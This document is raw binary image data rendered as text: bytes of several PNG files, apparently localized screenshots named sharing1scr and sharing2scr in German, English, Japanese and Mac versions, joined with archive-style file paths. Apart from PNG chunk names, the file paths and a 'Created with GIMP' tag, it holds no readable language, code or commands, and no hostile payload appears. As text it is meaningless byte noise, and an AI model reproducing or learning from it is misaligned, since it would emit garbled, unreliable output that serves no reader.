|np{{5`#e7wݻHkt'OX,z[[4=;0uŢmq֫ bUD9 ԁx]?rJFㅿxϷ|hBaU(x}}S/cPRaz]UllDF"u4Tw[ jsbIKb)kDpg{?CJ7/"5I^Gu667X\\VL0\8IhZLOO,--%e>@wqqk;+loeMx!<ץlH4MvvvRRcrZ;.ݹsHM0.{TC|`&υW
DNϠ2;0$.Ho[*KI^D־
,Bz!]jR}'~ŔQa.k>8eQ((xB!OD,LQi8eYm<ϻ
io
-\y-IuѣL1t6QJ%t]'|gqiDQHGF2C3DBy"Ҫ
8S?~l׮]orY޸Knىei@v q_q0 G{<Jy-VzbĴ c.Є8p~$*K|?C&Ew( 8K\P,;qs
._b;.am߻w3](IQ*Z=#.,ܚ,G*԰u@ղUI!_R:׳1#3SndD!ͩǐ5w~5/S<fulPPBabAOI&\|CdʇN:A.0S`M??R]8衫j>1-97[f{{2%IWy]L#
#NumS\^^^*^-IluJEOj(ccckkt;]0 Q));&''5
?0MzL.
YPAL+p,o<E)iFN'Lٗ]<)qGˎ
?{[|ba=whB'-csIJJFD>JPNl=`wu~VVV&ɒmnwz*._fcsd3O!cZ&ssxM`|; sk{9{챛7oɱy4q]67!Qujա!ictya[[[<1?66BeQ~Ô'q#%9\Κ5RC0>	0x,$zȽ5૿2o
FL|!
zl@HU 8R Qz4k_9JFY)&NJR&W Pׯ_W_z:Nu}Tʯwh~l6
xrksbbj
fIT<PMªU0	<Cu/f
<o>ˑ}o~&csz9c9
/HVǎ~O`DA,mxt4ɯt˒1Xj'&*0?m
# gJ]I0Jܰ/q<wh0OIfT*d,U]]ՐRr]ƥKtaH.QѨי;}+K.|C@V?н{]'O5Tط^SBij@ף34<d2$a}cv(;$Ftyx#H+Q$0a
v}:Ej~me'	d5>t4Ç|"C&:_[qcA$5X) gH,C%P) T]$7|{/sK',LDTH`ccK.qyIQ}OM[
ϵXV @`p3sss޹P2LNUwPQ!vr92CCC4M*
r$I*?6dٛ_ޟ$R	
?ƎDcA}rRoAVLK>_[iz	C08;n0Q=喞m4AXĪmPln̍E5d}mxrq~|2w%2>> O)Rŋ\x;w:K#tm&''n޼;ouaL۶-fggvήo##TF?h$IBgS,deZUM%I:g'
d%ghEC_QTwr9h})cp&p^f?rwy|Ϝ@>}#bsdL/7'4^}z73E/3y!|smJcccV۶x".]kxLäiy.Aj6nlux0A&0766}{_q1O(\UX5lRM8a&+++i`sA3:Hbw	5¡w!cP[+{i)lf(8;fpy/k[gY\gvJ+	|V87UΝ;3:::ضyxŋp/]Sɖiѳ8K]tM`
e|`>Hl6ۧO~_
#Gf	y.zO8Q,iZe+Bڄ^zp&3) {E'>uU';[2\/TCq;2rżf']rvT~,D^I^9>L-NPGw0S cn\:1ʯ>%C&Twm[m/*c0qvHEX;Ɩ~l3-H<Y*jl;w2Rjy0|Țfl6d2Uie++CsgCk	RG琚ݣ.M+OK4bJRШ;p//y|~%k[pjBᙴA07?LxI>mcGܺu(8q$B~y^ouy.^7qO4u&'& .>u"!v0AVsO?p:l5[gt,\0l[NZVٸ0n RBJ"Ǐrl:Iaë/љ[{aǬP6{2ӳ@7$?;!ST*(}4(Gx	Nqb*'i^%Ǚ0(j1N8iۼ+?WyFSA蛦Q#vu{޳FK(~Z c}}}}{_nueޞ@:~Aqt;hRԇU|OR4r

X\\d"+Y:wI<C0k*	0 xhhJ@8v/{pA4MPHF:K+$9y(AobytqVg[TS" :.By9</\
\q]|MMǴ
L]qmmQNH؟"PF{{wیQH&U.s\B@T*4ME,RcgRTjJ.h06?q8Q0vFpN;?v$niQ
qLGf$kL8\x<Fx<S8eh=J:5ώG͓67oıΫ!ڦdb6p^z%^y.]Lgc{-'tZMAPtO}@w@;qz}ٳGݻ76C#QHEr90\<(2El&y&4l.0|Vtx?(NjHqVoӘ|Xdo{21/L(D;NňN(J22^2]SM̆OLi)$:؎,Gv}H7շmK./K/qu  ͢:{$
Tl~\Tn޾}eVN1Ā@t:wϜ930F>JEaV6.Al{=<<J%5V"d2tVA>gldagccCEz5+ĴΏ?uLJtu'4XXĮCr'Є !gZTZi:&8'S'Khܹa2{tG)/
x饗xy嗹tr<Rpz6a8ھꭅۿ7Pz[(z3p]i`T*M?իgƘQ(B N}!$e222‰c9u'O`ffFcIIX"U8IP]ץj[ۣn:*w^,UP[NX$`A@ףja؀|!CC}?<cQMpM\kWY}NG.dv)xv4ku|ߋJ۷o{QOcy9Ba+W/H:QTA6TKof;v'O022nܢ9(	^GQsv-\/M |L
(TCbNe.z.\v[nqu66trضM`0T^'0__XX
l}?Я#0iYȓO>W\QӲY3d9,QP]efpq8qccbPhjaj7x?WC8ܿ^]ױ2]0
LxKSK㲺ʭn/pMVW\@'bl$	Զw1t5ݻw]{.{	&O?ŏ]ۚ!¶A.0t@
1<2G9:Yd2)]	Dqo6$hl;r]ݻklBDTRC
8ŘmS%ɴ0P~8[?Au0I>{}qQI
+!c)0iC2SSLMMrrVjp
5m<ۭ0@nu<mYYYaii%667q\BD\VE03{RQj6h5^j(o]d5 TQ0MNN=^B ΪkX$&5($cbl	ffc||ٔ=#i^깾VaB1~Q!vG`skVWWY__gcczA\*Q"t7-?Hm(LӼBF|u	n|F;c(&Qz'vqhBR4hheO(OHBa
㌏R*T*Q(}8I
Ún}q.ZZ&{f?3T*y-0u$p}_
:e6]QE~y'λ9.OosSSpݓhjl>7BAaY,C$=uBJJ!t^X㐚Uu)¶qnG٠ihvZO +P)
uq\b0LM׉cuNq.]xRټ}P~~]#̻$`yJC1AYӴ£>z.,iFuxLJ:וike)_ִ>axzFae,̴ԲD*]HH? "XI]7YJ+f!cm*IDATQ)jV&h:MӣQw0VկD|w*_]wI6Q(`r<C=S7޷3iR|fkH0 Q>I["i1Sl6jkR@Jٜad	B^KI7k{xk{aiikaE|_P9"|ov}/}PP0RR4<޻5ı(W*JHۺTůU8Dki鹩9mۚ@J:jRS3T!JPMCcl>K.#͡~bzt:&vGۣըy^kZk+++_sgo޷Q"]oW_}i()02@T*
8q\'Ol6|rn]7Bȴ}دJ%rA.Ua#Z,l+c)C:t;m:nץiu;qjRn۶7}FrwU^k}i`b%DTD;122rh5 L&C>_X*ae87Sq	kӴԭePF纪4qzQv:K&e;{Z8(wQ;>w]^_
R~FG	`JC|Quz^<KJ) /ɥ;̠*+RF$ECGNZbl$E$W뛛"u^%Ӥ!R(Ju43~{[PR
)%tCC7L!F&d@%e@yakZ$I  Rv(sg^/ 9*dEuTܿ~c3B_"dPRbbz?nFZ-#BaRL1blf$V$b4F&$2R|!q${^nol6Q/CQ]E}'=(gxRR^!-!RjGQqEQA'I7V9/}~gZzX3D)2>3/!O~e/C~> _?H_1}D8'A8AdzK=mDZ 
px$_:?_W~_9ppppppGGr;NIENDB`#!w,img\sharing1scr_de.pngpPNG


IHDRuS2sRGBPLTE

%G%#&)P+W/[3b3f5g7j426	=vACF&/AgAB@MNJM/HsK.;KfKLJZ)Y_\$[SV^(\VXUkh,`%eXZ3ctAebda/jd`egrzJl@lefhil:pjliƝi%}-ykmEtHsoqnIu\6zSurrOzb~SNyuwttS{IKq~r`~y|ztw68}|x~ZҀU}_bj^cbڄ+݋hu*qf1npۆ]’oml-M퍗e̗/z?sȆ`۟ަb𫬶ڗńϓӬTtݦςدoꗴ尮zŶ宏ܺ賓pɺ鿽໿οgėȫÌǾɿʽsϲ̂iϦ͖ғߣژྶ{ޕ߼"	pHYstIME
!<YIDATx|*')b
5DJԊ"P,*-T"Z[$@|H[+6
%ͩem3)6pQ$cwgfgwϻC.>0P0P0%ōRq簘\WhMYf͘1cR)ؔ=MxxgংR
P
F!k
3n
ߓ"n*̼3[OmWZ[V_NòrMvRSN;wIBKʫ'LpFaY.̝rnecG$V.k_^
TpIŭ3'6eډT_T5H"TpOIs'61Jaʬ"άmTX7
@**瑂W5΅"EËDal<N:0w
2ff1¢Rrn)܀$l<xȰ|RLR8p,**2<@3HN*cHUuaPI{0PP!?V.@F@T@T
~k`TNfO=*$?WFAFR3"ՉDKP!M{5PG72Oݗ?Q!s+5p_ҙ
Y($X
X#V#%-H2G1̅lsAOϝQP#UTY****oա5T@*Py<AJ.STq

⠂UX#CA<kCT@T@T@T@T@+<n/]˃
.`Re=ȏ]K@+0(#pU9*:kFHԯjȍyΨ



gr<*o^lE
ٳ"P#ɍP:PA-d3?IbNbAFHbs^P;c\ *``6BH&Gb******8\\@T
@NFH*FG

PlDaI<"`+
/@!R4mM'H
5%K*x1UV((,X! :QY*VakÇ_\|F
w,FyaH-to0bO0UC._5PU'D! (Y#luve`#4ZgBod%R(%gHl׮/}3QdMݨr؉\xDBXuɍlӗ6ΣROzf5ei!ंadwTyv}gmU)#/	1
j26 XFoXgK0ӾvEV>tHğ/T{:j)eJ@5qY^D x5p_;^;Wqޅ=RLݻ	Zb.PN3[vKk~t*!0uԽO
dY ͦBR^~D.H~P8| ܹSƐ]Z:Arɦ[jB/|
h[gc
'nv~QO"ML^>R\NS1)͠82.2Lϝ-(r~@(;*76@rjǒϦ***Baky&EOz[oB{o˛ţ?u¿^~O~SS:W-~O=߭oTtWtHA7nyC=|6p]
FFJG\ַyCv}*(*aq 	M[PSvl*߿ֽoϞ{j(k$f zZ4	$
X:mTuٿ7nj,eiEBj@_.
L;o%ٺNQĖ4
mFf
͵IsAlQxݭtH
n*XϭiO3.߮m&.#5)b~
ln^(}١aƤ헟77f=w*	r*.uu(2`}2\j\p7s0<R:r@ }9



:׳ps2V|psUBѼT`.[a[Fs,(44?Gn`3dڳK\)g7WB%g~u{1Uh ^HD.73!c4X#is0:O*fW-%Ash/[9vC쟥bt
0?INg
[gbh?ΎqsBq?== (<п~dzر
6
Y1NyL,GnH(BOGt,G{0*,^!hǂ\#ypCz%efvPMuF4I2eʼT\!Rs3
+DCjT
$R#yN.**@<P!{-ؖzTNaf[XLTHa#.;/#a&*8BۑMK(̉Z.{{x+LV^*=+0((dеB[&|͒}Œ{x*lyK=>B<.$H=@G~J(W`nS/oO*͹v=<tbJ
IңsʙM+@I'@)*><\Y*ºo[7s
7(r<J>Oi8_#=v=Y'5ҽ[
3@~(1d>qicWSNt,Cv
naHurj
¶BV_32hc-0A%+wfqe?)
#RqϫqN?Iws7o{׽yzpس}qQA\S08ʶy`+h0T\^E3dRڎ]>@:*_:59fU_gAggMtv.0M	phmGGT<0k'k$b
R.'bS'h>v@Ȱל'\V耎8'
QPѓJv0C9YRD.lbrVqL-$+;|UHd2]=*g/kϒ&6'I@@(JF.
@D
SFF&)DG\snN z8֦9KN:?՛
0
(Pآɹ~*B>*2KATUdμfRqw*8DkFPk$/WFxpcU[v}wWКpiYhTho\U:2]@k
=J[X?vJ^[&WxyGn>*أP~EnF"E]u}J4yt+PK)>%`Q!	G?(U_([#uSUP/L*+zQI!j1ـKe:'t|u״½^n^|oo"`
j$&0s#!AUuYU{J#Uv-"O&hr**Dj[?.1*HMuMe?pucFuH5Y=}ɍ]@w$|azAd#*B^(
+X~=;`B`BNFV(.XAtdG=hРE_iwejz)e0hPAcs'
ne~R`td
CP*}K6AoÓKy
`iAjCHHUhAпlҞ#<U	Q|x


o
D2_FZ8ķ}yP<ȿ}y0}





j0IENDB`aWm,img\sharing1scr_en.pngpPNG


IHDRuS2tIME	-L&	pHYsnu>gAMAaPLTE	PN=Gv	1U0XjΐΝeߣƸ]tKm5|íX9b[3پovҹ̝mdhxYjikvҕ젽IkElD\2jFp.[7gE\2jCsVR^)qgwZNk〟zŪJbu;52IDATx	cIGMQco		I&ތclL5i	`p|#1NR#+xCPb1 k)L{C	b(4A %(X؆===99MԶ;n5RNJH֩v_Qk%pYGB/ŝAkHYEȀ ,Jd0z	K!]7.^I	
o]Ek0Ppn/]nu0PP1x7mo]y
d- XkW:A׽rn+eDjAxh-^^!;aK4Sx]H<\q0(@m.(K~[pm@r=Y`탈E :`
4Қ^c[A-[@Pu&pd྾<x[LMyXz{
k(G{͟mP7!H3{
;8#9B
cupRhµn<[hoCߺD*A(b(E{wysJV
)+=zaBjg	`(a@c؟~/
'(`;l"
RB91
pPdK$ BjB%-[+l\[^
~MT9pĎ.>l.Ά`/Q_#[QHϰ*Ca<y|S=}F(XQnzI::VJ
+:"ɩe(@!nk#ˊ恟HJQTuz6`YŸO%>F
C&9JRm͹J@E!D >/#.1p" C[H	d@v1sp *[M(|(B0%	cy]<h
1R گm(lL:,N(JPPy08IpR#DڜB9#`*Gt&P؍+;qP?%98tg>)p(C6
<IܛxD9څt(5rRRzP#R_VH91mprSŠD'0\'DS橶/ETl(3sΠ/7T-UC

9)t͠%fЏeZEa6w-3h&7EgFqݙvHv-ETQJ3ڮE@@[Qpz8nБ'џxD\)pMTQh܌/E6AwbIas6'*8R
5Q,	τp:}[B-3@'5Qڙ۟N)3lCNNVK$}ԛ	=Ϝc _cj(EAB8.Nh6@o"H83uNJ
MD!.&8@=Ha@2@
)X3tCSm$(=OKWxpsVQ8ѳ|;ͮN+\D+Bb%t߹H%BO
?RH<c?Uu(`4m]3_ĪGҒѯbjD!}a(lCy+gnAp
'ݮoyuP"f6Tàb=I{&ʖX7VPc9p#	@0hߖB}p%0@hR3.}xj
WJ{7tIdtЙ3/ErxT?nv7RnF<}geCcdH<p8	g:Ք(S/Fl{s4v8ѷ*0$„p2徢 J箴LjKwE4`sÁ5-AO/0nVoC,SO3+<zͅƩ
[
}8)Ca
'ũ}n@ov&~pM{}Q'wo;jo^Kz(<E"
ߴ]]/7XE>SN`E[$6"-#3bPPIV
GoT>
	c(
`(
`(
B}*
]WN'Mv<PX)<5P(ΣL(hb=;
m},@Ca
8NR-Bo(b(>BfPXUVj"
dsk5CD^[C)BPh
MC	S_,$yVԮ!@!9$Nq47SSxK!-QrY>b4NNy>9ݝBOqh5(Ln{
8o),n-:UΞ$|K,\N__2^y2Z~x
E
_A-YS^|VzfedkDWR)\%0X%l!"
PXcoB3\<KaHJwg.5.g~ethnNa6RESfK+%qQ&\ж;W&Y
ѧjmyRE0#g(E
*Έ`Œ`gJ˯}
_&sz)ʫn-9XYAƟ!a&)ھ5/S
F}kfeUAWpV=|q\W2s*-H'K70? o@r*ٕW-9ٔctQ2)}WF#Ž2Bi7cm_S[H~aQi$2~i~I3U듃IgcP^/Ia'mJJm$•p]irw]1.h4lx)#g$jpmnV[v&eEEd>G41P@1ەB\fi hQ
jeY٫Wf)$ځt$y\c.p+c'vRmki[X$+b+ %(Z)w#͒x/wE$qĦb[PX1XURgPɪJ~((*]-2hHmCoxxpmk*ʈB2y^N!iEA>J$(n$qՕ$b=GSogc%᳗o]TCalhd)tsx*{(xAN><oRQ8X<NRw`q*o(4@*pعyC,C'`Gi$a

RN&o%z>C5<m8<2
pxw
]:].
5[FdM1/,]mpN݈30CރW/.
&)){B5'q|"~
HD
7%C!?"Iw2Nx}s3+Q?bN ɗw&*)@@l:Q͵))-ɑYjflt0s&=̵.cNڥs-Jwc
c$MB"%B2|i00VSе=L%-HAR
|C)G@YJ!)Is"]^eϲ392'%^N!7iD{Ř1M{`oSث$I:6t2;0;>Mpul22ˢL:ZF^hGƋ.
G*BPh
MC	^
}}=Ex|4 #kz.	~8㛫c9YO5+`i_xkU"ݥF7;uQErutqg}?f'gR}f(~tw8}'5ªjz`Sͷ/_JU`i*Eln~E.ݙWfA-Da7___Άoļj+Ivv\ bFy+z
__o:ϧ<gv!H
dBVC
_?I&
>)Ii<_}+Jd<i	[(4ȏO;?NxA'hiFZdFvcv&=Ca%%<C#?8G?X(ܐigiv}P)❳odu*RI$&Q _qYԂmc`vPh@vKiYH-(S#YJSbJ4-X^?/nX#J+41d@q]}n5ǚe-|0Rk簣105
vh[jF[Ap{O-U絟-0XkP.go.:88Z<6!1^47t}|
~%HF<ET%jqկ"A ,;I*7xKJB
)`%OOÐ^XQBĶ m6Z٫>B*$pW
!xDKP%?C\D|	I4:pI꣐ZM"yk5'Q74")_ÌHfn>Z+	y0v qHT0O

9q(Qsq5z\<'fnDa	{0n|~6XJkAUHݽZ|?UBKR(1Ix{},ED@⺺.w˭t[Hf&@GߟOglχ$l߅}1ʉAA>!a+$>}X"w<
8p|/Иµ
@.Q:(d
ۧ?oy
OA@-'ȡ7'2>0cJis]/Y	·V<<bhDP8ݤ`^u"dOhBtwH P#_̹6NP>>@Z5zAH,n G+F8>V9TB"|
(nAiw%LM! G$e)7
~Dmvv]N}g֣`Qp=I-G"߄8`!fp}t`yR*3-U+m8XrHb2VzyJGoGNPn,>cu|.<.
}ƽ6F^XEcJAf-P1Bx
=E+e20f\&=7kjmq-ooa{^5]*;ieCNִVQ%xн6\ϸa֫ZAl}qs {QA|l=R:.h+aVR	dm@7@l#/_lapTv`]Z9czQHܶ.FR\
ӦgC~Pl6iPVBPdn8.?R6uWiMriVؒ(zYJ^Ҷ?Nes˧>
YPA*%h}j>IRXfXՒKB0Q$;sL!.rOeIB<-
F	ؒe(L1μ=&g%Ҹm7PoOn\\(FJih)g_fvNK(Y!"J˭]}-{RIMs\	!ŭ}2F?>=O)$Lhc
٬At_P؉B(Ì-"
D}|#+jCaC
@7L&l12
`t:mS;}poR$.
=)]_ߜ=b0>䙾ozCqJaR78wMB.ti?H*{CqfIn/%{
5Bw+c2%RRz{~w4k{W^_S:vZFaWdh
O2
(}J'uB駈w.GMKJ
hP(˛\݌cE+Gx^,Z
~sHBn};zo(l@Fa?}),RXQe.(
OR ssal_'q5hd@rUrJ$RsF[eBvg*9uYl]s5u_vQ}Oǧ/+
>E7Gձ6
I?|<s1Gem#C	N
CS-sW"3WqbX'{Ѵsj2ԱJΙ0E뉯\e

N
ݎB+gz!}<*Ze"=CdVa-ِYUU>jBzJj
EsYv@X*PL^16P3]+)R#}TjDjJ8z:^َ[)X=9O2%erhvNٛR,ޗ0N}k%rkcﱡXQx=ɉՆ8rd(Z&1 qlhR,
y[IENDB`1,img\sharing1scr_ja.pngapPNG


IHDRuS2sRGB`PLTEff][mπef~̙”gɓ1gZϐr1jNG	pHYstIME
/ɓIDATx흍c:EΝ$_>PiD9H4~DH@( "BrAe|
O"ѱB$0ctS-
i*FL!MR0LAXVnᰐ{F:IPE(LB!@
HP!R(LBXEB|
QIR(LFZqY9e)&𹌎:N(/jñP
	)*ʻP8CF?kTPBEPI^q1I( 
KK6a=f;Ջ
WBhPH.`6:@ N+@%zRn@5վ#Su'{gB
mYsbڌ$|{(h
o@@e1B7F	@(,lٰbQ,!#A8>BAyBA()!Ba

eY겕W,FY7BA
__y>dx}uA.Z+АB.`
.e1#]0.%
Dc
}|+v g$VtcMNbx
.P/HP|\&375P/xOs0VY2}$,FXyCp/хP`Y_
B)XE&}!QhʊBB;}
Bah
8iYVyF`672v.2@(<ӌ$Q0=Y_x
ٞ.PBaFDmSh_d}AyBA( P
cRxBA( P
fuo4ԠX)
xC
C[cn 4*`XB37G!p^B`u I@wQpXh\+4ng=`/k:XgSaAt!P̃>}O\@'1$/X*A)NaZ`?\-{z
	 P
BA(HUP
^(_OŒ(#B56e גuA_:745,`~i>i=$M)wRмXh\~-
R(ڭ錒Fhg)hDһ4MRbk}srPj(^g
	p#[NQ҆"RG?hrpY~K&tdzPh-e0uvaXG(0W)غg@3ւq(`)UavO2ПGs opB*YM4GTmZ-DuЌv|	Kf[zhh#F`vgR@Giǻ%
C?]<y$q07,jF:{*9րG8~ci6ZZlLt*@)b1̚QXOq*K3%BC}a-j(&jk%1#\3]q2QP:-<yfKQYfyS4ܿ.̎u\TLK<{Xˆw	Qg$Ւ9YP7vl$ZEtcAj:\	x}{7iY,q
Mt<Xu:W	Kט%(UU7@]\f$3T5Þd('}Ъ^*TE/~T)ک¬]xҚх1(TiK|m35ڤ
]rB_(>PnV*]Wx@3"}xelX
\߂R׻4]Y᷸v>57 3
|:e8v:(i].hMOW|?n9ޜ@)$u%v<U`V'_n{Lwf ]!=S
eYnW<OkQtQ6
!pw(Q{y)@X+1|)􉒆B,g>t>jP'3GSN~~,$"HY35U7	
/|ש"B?psȑPpO࡚P:OY(=p*PEIj<
dzD3wWCHzxE;{RQQ*i&ۋ}0Ad>dyxWU^tŀANqb'R0̌Z
GM"-k 盽_>=<E_*E]6K6f
_z|^2Cj)|]XnXSE pDA7ǞNR(NAwP`PB+BW=*C.,_wShU>-:$/#qyuA%Yll
#Q*O:-5BA( puO&	5x}u.dnkkwPxXIOfk0ڜ$nuSp'*cg0~k0t[s7G۹7@cD-$pDԅGw`@.
/+~*AеU})].{L$q[jV/	98&~qut$,
ܲUeܭ6w3!vAFP}x(C5C]B=wfhຣd']uk/4=cf=`J
=vs-#)/t!+N
.PeWZpUU7MU%pZt	i<
OobpޜwgmE.(ӞpSZIiہm)5vè]w֌{Mk'/ꑜ*l
A(pNdCn
ԟG4}@^|.H孩-F
	ud@ y,]N=Ja4I%IIF%
NAի{v/6lF>
g0xtІncÜc{^xoذ=WRPxB|_TT{¸t>:g
*>>P :nyE̸Ph(uy^?Isܻ]WKgD=v}yz!BI
Q,5n065LdžByFPAX.8vC@_ptcy('X<1xZhm(V'`cϝ6_]p잝h5nM9/dwy̲8n61z_I{$[%υL(|b>gچ`ҩ,:8>d_TΪzR
jdSۃg@or2d`CO!)ڀ+MB!]@'SԠ9UG%ЄSeP
B(KTC!Hj;]qx
"F	s%t~jx
OBaSCSH`='p5
1>)I,huNU
g|<*}{2ڋkMOQPyg1`?19yt^*

ETE(6&ʵxvRE
TBp(@uvu`ۮFAww/ARHA8^r.swb0O[Zb*aM>>S0hB{ȹcϝI6$olo}0JݽvC zQy5O0o}0$pŤPqPMuQpD:pҷ6)J|LGˆ|=TB0
=Q(L{U-HR}00P)(IC(L;eR
R(V+bphPSR\ӌ)[boOd6;UTzU24HdGH(
rIAy7I
،MH7Qx.3R=U:豈i6s	Ca.TGCPϧOJAyYQPIG1c5vZ()5yqB2\HԌjʌ9S(}yiexOX<f٪{#Phn8!Ȋ<iWqѝeF)T.dYR쓤^N"rb9HYߟ[a97oOU%`PY
BA( +( "P
"BA( "P
"	IENDB`ju,img\sharing2scr_de.png]
8qPNG


IHDRuS2sRGBPLTE-7(D+W'V.P
-[3f4r6g0w7j5=v>;oA=A ;>FIpMP|NtNJ)F$DNTKK	WOV[P%MVZWa`)UY[%Vg'V[cji']\+X]-Yg!^1[#_p
m&`(a3c*bpt*g?hr"ju/j2hy{zz||	>w%}QtUt<y!~+{!/	%/-9n!
t$%Qh)J! 틍/T
5	1+ae G.Ut
#O]-𣨪P󩫨p}аt괶|溼ĔͩVBbKGDH	pHYstIME
))(tEXtCommentCreated with GIMPW	IDATx{tU뫾U-cl`gAi'AlB͚CONIQ
A[P#bOEVj
FBKIzsgl|kg;#^I*A@P@A

(P (@P@A

(P (@P@A
(
(P (@P@A

(P (@P@A

(P (@P@EA

(P (@P@A

(P (@P@A

(PP (@P@A

(P (@^棂kAP@)(!DfZė.+%-2k|
'0,üSQQ(<QK1uXdZluP`+d60HX2][|BNi
Rءt{!uAJ"Sm[+xaV6U7{GmzBp͐(̷H(
(
U BIJ>v(Q
Q*(B
Ҿf06ً]'ܧ;F aj"Cg}P?B
T!dn缫vf?BȺ`]Tx`LuO-(l]Zg#OBBa""P@
+RP@*on#VfD|
QZA*dI\]g-NP1v[$~;HB8)EڵBU4
Q)^%~ں4
Ѵ2)[$!j'kSu{Vif:uRCaV}vڛߪ"͖BqM3,
ż(2BHEE5=t$Z[eB2B8q.׾Ӣ>K].#d{S?#iHQF5
v2
ءZatiT+0=91~`8{RөTʀB4IO le@!2̮(̎B1~
!D`o^*H8Jʠ~ҩG*MMZRN痞VtA(Cg"h5i;d@!

n/!(SpNe
DղzkPu}7^޵eO(q6;P.Py$P@P@WCO.PP@P@P@H&
ߛB<P^s?eH(zo^FB{<OEឍBN6[
Ҕ޼ҶH}k_V/WiJ7/uYI*N|;#"{pgٽ{Tfޛw6%c0,tEJ3#-SHTwv%T	J3N=}ڻ
I{{ڵq~5(D[_n.Pѩ(D}̌]_šU{yŢe/3E+uTY<,y/<\T#N>UoX|ylMy5jF,~I/{I961#~oqay,gf+/͡f)5ՅUs?{k^WԌKWBg?>}E+W\b.+О5_2.T9,9<Mժ̑J*~|MW$^^OGcxWMl?SXTK#qd5H詀U[uOW_|G6g'
R:ҞW1JkR3~tVY˽۔RGgC?Wpm<*
(

?X.لB
2OD{kjX}ɪj)kdA7(Ry[N^p}W5X
f~#IghҚ*F-NE*BoJoo,MeLsdf3FBI
v_3w
sҒyhCPprX'nl{n}ᙱ:򧵯knRcůV-37Gҟ7-imS)#@!t+İWNY:[*mтBx޸:3CC[tvG1M&Aw_WrB!¯ع#CC۶m۬f3fg94ӡ	;H<wl*;v(A㎗AF}LOPs=F%v>[Wg*dh֡A}wK[w[g[[[gglSDwwwBM%_wB$NE
$dW_
6\jz=7Ę1OKIȜ]ooIENDB`ֺ^,img\sharing2scr_en.pngV
qPNG


IHDRuS2tIME	
:޾L	pHYsnu>gAMAaWPLTEI?(a/vi)N&I
hXwIi/l2jſ<NNp'V\ws~xtEhggvt	IDATx흋b:EmJE"hM+:l^m!vYrv=- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @- @Y}_yoA[|oZ>VpxHKz<`߅CZ0e,8'H',,>
-zUU-Zpa^oE[S|hyh֖mU+uWF°OC+X|B9-mAzQnAJ9-YhK-L U+RB]l~NLA)-la-a_C<Ov:>- @B%;^KacSboSTBKB5-f;Y?hVp7
<R>7 - ~k1L+kM-k
EՄֲ0ƫLb.0S;2\
_iha{jxδpLNlHֆxZEBo-l;1jwЂ
^=-L`20G0@UTu+$Zh!2q[0i`SƖ-]ºJ͒dA[ĩzyIsysdVnxYL1BWBv"\fYbmYش\fn6:3_RKmE!J`ĽZ
Bۘ	yaj1b,s3B`"*oƑ.\]2kdB7E05I
K*f-myi&.FLJ9-tU+66v[?"]>lb:wȈdYha_`yQZY2MXS(eFeeZe:	L6=-t5D<.]ܖr(s͍w.6fd-[(bd3;:z8صZGn]	vu{dԂT-\c&niFm+[EWq*[Eq;fނj1=dT)b,W,l^uy-'BeQ4>=)Zzΰ}OfYv~S7лIG]z-=q.leA-,khnHS>)|]027n*h"{nZu̅IC0zwauBsE.k>mN~85xs[)P9-IkPOzhᆅNZhnTW-(Vd
pbom;޹{/\Xhmhn
7Hw,=9ZXYOhZ@-<7-lcwBFB1~=G6\
/Yz6v.m.w?}Bs,tҹhnFnE~.s[oYϥF+b+ÓYh?ɶ>6~.MM9ȂGtBtW&Omak;3q>yfi\/&!w3R'ͅeͼReeed'9-k+>	Y\
;O%-jᒦLd+R\07cuC4M@k j}mpf*锦?12U:~!Bf'oou6ϟﯯ?|LcR_(%Xx+G(Jh2 ={)T5{̀[hl;7GqT$'#qHul?-p[&^@&Σ4NSSz&.ИHsS鑧ED|"NHdx|r43S[8$nH8u`h8L0ЂI3LMf'-YxZ[<8Bm컙8kN#MA?///fF̙p'#IENDB`s,img\sharing2scr_ja.pngqPNG


IHDRuS2sRGB`PLTE&a&c$^SRɏp"4#["W2
.S.1jNr	pHYstIME
/7}gV5IDATx݉vFaEEy;N<2 ފ $3^%GuCC/rlh
(P (@P@A

(P (@P@A

(P (@P@MA

(P (@P@A

(P (@P@A

(P	P (@P@A

(P (@P@A

(P (@P@A
4

(P (@P@A

(P (@P@AZtAP懋4
f[mcK}<(|P{"B-[,m\_Uِۖڵ{kfiX$V躛iT܇iZ	M$YU^
$ih)X”cg,Nd8v@|`<P@>59/f(7߄
QfQdQj*<im糯]VmbwS(D]!e?nd/"AGWW7j׽H[
R7ӁBoB+-|cD
#\OS
q!Bдql
b
b_2qIq{RN?GE#
<y(>fȾ'Q4sId~PpM]845)Ea+	
©k!hfU:Qa+:Q
j7s_eGg)^yG~\*0@A?z\WIP3٩0*Z~7vX_N'tP<u)d@a4'PX(0<ive*n0([In|7០R"F CLEW)
=ջ*(
Qɀu2p$Auafm|%7
HŭAa.vK0_P@!=ĞYBYH6!X
\%xQ894+%X.LD2h9
3DTx**$QVXAYN$[0:K@MYL(Wpw	M)%gñs 2lŲ\wM.\<ҨJ[P@P@jZ@P@POpsmUx
D2Z+|#=MUľ~
ߦd:鑌k^16ӔlϾS+%$p9^fۦ}:b7F_1v;~f:ү\166**E#S)b\16®8|-E#;-Qx(1 
7T8iᵽ>x?UQBY
f[--jTv8wEX&
sΪcN]Z+v-T=SLx~ݟŶx/8
Ϳ{ZQZ<>>vC#=
*B߷)謮}k'ݗjBP=R^
M
=
Q[>MDRxy}}Vf0I/26%î(ټ}>IEД*<w/@)qȝh)hK4UU@X"S*|o/f(P\Sxz2ʡ9MrIT*2moDCh-yLW@x7Mf)^wZ
!!IENDB`~}.img\sharing2scr_mac.pngqPNG


IHDRpiCCPICC ProfilexgPTϲlfYXrq9JIrYd(HPAPJ%*QDADޢ޷T_LޚnU]a3uvK@
h5 pW`5SSC_pjBpĔ!
L
4޿~s!GurǕ8baA`p޿d~1!xAgwu&2ov;dCp&D<*7("Ru
Q#=>7|B-?I:6/E/xvlKm}BtOC$%~-@l繃ʃUgwD260@-LN"A,Hi \WuPA+=!`-X؅ 
 *bx !HT -2l!
¡X(ʂ"6F)hZ6F
x`"0Y*Lfsya'aɰӰ
X66{>X8-.ÍpOx0</oYwA`CmEd!."!n!zc9:bIdB#e:H+'2GV![}	"rGѠQ(-DPP#yEцh't0:]AEߠ?c0f(Fcc00"	DĀą$$60<W,ˉǚ`=<ul7vIJ*Ej@NCOZGG:Mq8+\ .WM>,2*:^mɣȇȗ0<^oK"
